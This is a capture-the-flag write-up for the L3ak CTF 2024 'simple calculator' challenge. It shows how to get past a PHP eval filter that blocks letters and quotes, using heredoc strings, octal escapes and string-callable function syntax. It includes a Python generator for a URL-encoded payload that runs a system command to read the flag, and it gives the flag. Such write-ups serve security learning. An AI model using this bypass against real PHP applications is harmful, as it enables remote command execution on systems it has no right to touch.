simple calculator [L3ak CTF 2024]
Challenge Description
Unveil PHP Secrets.
Intuition
The challenge involves a PHP script that evaluates mathematical expressions from a URL parameter. The script has input validation using a regex to prevent the use of alphabetic characters and quotes. By leveraging PHP’s handling of heredoc syntax and octal encoding, we can craft an input that bypasses these restrictions and executes the desired command to retrieve the flag.
Solution
Octal characters
If a string is enclosed in double quotes (or heredocs), PHP will interpret octal characters as regular characters.
e.g.
"\101" === "A"
Heredocs
Since we cannot have quotes, a way to delimit strings is the heredoc syntax:
<<<
. After this operator, an identifier is provided, then a newline. The string itself follows, and then the same identifier again to close the quotation.By reading the documentation for PHP Heredoc:
“Also, the closing identifier must follow the same naming rules as any other label in PHP: it must contain only alphanumeric characters and underscores, and must start with a non-digit character or underscore.”
We learn that the identifier must start with a letter or underscore, and since we cannot have letters due to the regex validation, the only option is the underscore. So in this stage the payload will look like this:
<<<_ payload_in_octal _
Executing functions
Since our input must be inside quotes (or heredocs) to be converted from octals, we cannot execute functions in the regular way
func(args)
. Another way to execute functions in PHP is("func")("args")
so we just need to wrap our payload in parentheses like this:(<<<_ func-name-in-octal _)(<<<_ args-in-octal _)
So we can do something like:
(<<<_ system_in_octal _)(<<<_ ls_in_octal _)
Also, we can encode the payload to send it directly.
Here is a Python script to automate all these steps:
import urllib.parse p1 = "system" p2 = 'cat flag*.txt' final_array = [] final_array.append("(<<<_\n") for letter in p1: final_array.append(f"\\{oct(ord(letter))[2:]}") final_array.append("\n_)") final_array.append("(<<<_\n") for letter in p2: final_array.append(f"\\{oct(ord(letter))[2:]}") final_array.append("\n_)") cmd = "".join(final_array) # URL encoding the command encoded_cmd = urllib.parse.quote(cmd) print(encoded_cmd)
Flag
L3AK{PhP_Web_Ch@ll3ng3}